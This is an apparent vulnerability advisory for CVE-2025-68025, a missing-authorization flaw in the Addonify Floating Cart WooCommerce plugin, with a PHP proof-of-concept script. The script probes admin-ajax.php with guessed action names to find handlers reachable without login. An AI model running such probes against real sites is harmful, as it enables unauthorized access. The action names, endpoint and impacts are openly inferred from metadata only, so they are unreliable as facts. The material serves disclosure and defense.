Atomic Edge analysis of CVE-2025-68025 (metadata-based):
This vulnerability is a missing authorization flaw in the Addonify Floating Cart For WooCommerce WordPress plugin, affecting versions up to and including 1.2.17. The vulnerability allows unauthenticated attackers to perform unauthorized actions via a function lacking proper capability checks. The CVSS 5.3 score (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N) indicates a network-accessible, low-complexity attack with no authentication required, leading to integrity impact but no confidentiality or availability loss.
Atomic Edge research identifies the root cause as a missing capability check on a WordPress hook handler. The CWE-862 classification confirms the plugin fails to verify user permissions before executing a privileged function. Without code diffs, this conclusion is inferred from the CWE and vulnerability description. The vulnerable function likely registers via add_action() or add_filter() without using current_user_can() or a similar authorization mechanism. The function may handle AJAX requests, REST API endpoints, or admin-post actions.
Exploitation involves sending HTTP requests to the plugin’s exposed endpoint. Based on WordPress plugin patterns, the attack vector is likely a WordPress AJAX handler accessible via /wp-admin/admin-ajax.php. The action parameter would contain a hook name derived from the plugin slug, such as addonify_floating_cart_action. Attackers can send POST requests with crafted parameters to trigger unauthorized operations. No nonce verification is required due to the missing authorization check.
Remediation requires adding proper capability checks before executing privileged functions. The patch should implement current_user_can() with appropriate capabilities like manage_options or edit_posts. WordPress best practices also recommend nonce verification for state-changing operations. The fix must validate both authentication status and specific user permissions. Atomic Edge analysis suggests the vulnerable function should verify user capabilities early in its execution flow.
The impact is limited to integrity violations. Attackers can perform unauthorized actions that the plugin normally restricts to authenticated users. Potential consequences include modifying cart contents, altering plugin settings, or manipulating WooCommerce-related data. The vulnerability does not enable arbitrary code execution or sensitive data disclosure. However, unauthorized cart modifications could affect store functionality and user experience.
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// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-68025 - Addonify Floating Cart For WooCommerce <= 1.2.17 - Missing Authorization
<?php
/**
* Proof of Concept for CVE-2025-68025
* This script demonstrates unauthorized access to a vulnerable function in Addonify Floating Cart For WooCommerce.
* Assumptions based on WordPress plugin patterns:
* 1. The plugin registers an AJAX handler without proper capability checks
* 2. The AJAX action name contains the plugin slug 'addonify_floating_cart'
* 3. The endpoint is /wp-admin/admin-ajax.php
* 4. The vulnerability allows unauthenticated POST requests
*/
$target_url = 'http://vulnerable-wordpress-site.com';
// Common AJAX action patterns for this plugin
$possible_actions = [
'addonify_floating_cart_action',
'addonify_floating_cart_update',
'addonify_floating_cart_remove',
'addonify_floating_cart_clear',
'addonify_floating_cart_get',
'addonify_floating_cart_set'
];
echo "Atomic Edge CVE-2025-68025 PoCn";
echo "Target: $target_urlnn";
foreach ($possible_actions as $action) {
$url = $target_url . '/wp-admin/admin-ajax.php';
$post_data = [
'action' => $action,
'test_param' => 'unauthorized_access',
'nonce' => 'bypassed' // Nonce would normally be required but is missing
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
// Add headers to mimic legitimate request
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'User-Agent: Atomic Edge Research PoC',
'Accept: application/json',
'Content-Type: application/x-www-form-urlencoded'
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
echo "Testing action: $actionn";
echo "HTTP Code: $http_coden";
if ($http_code == 200 && !empty($response)) {
echo "Response: " . substr($response, 0, 200) . "n";
// Check for error messages that indicate successful hook execution
if (strpos($response, 'error') === false &&
strpos($response, 'unauthorized') === false &&
strpos($response, 'nonce') === false) {
echo "[+] Potential vulnerability found! Action '$action' may be accessible without authorization.n";
}
} else {
echo "No response or error occurred.n";
}
echo str_repeat('-', 50) . "n";
curl_close($ch);
sleep(1); // Rate limiting
}
echo "PoC completed. Review responses for successful unauthorized access.n";
?>
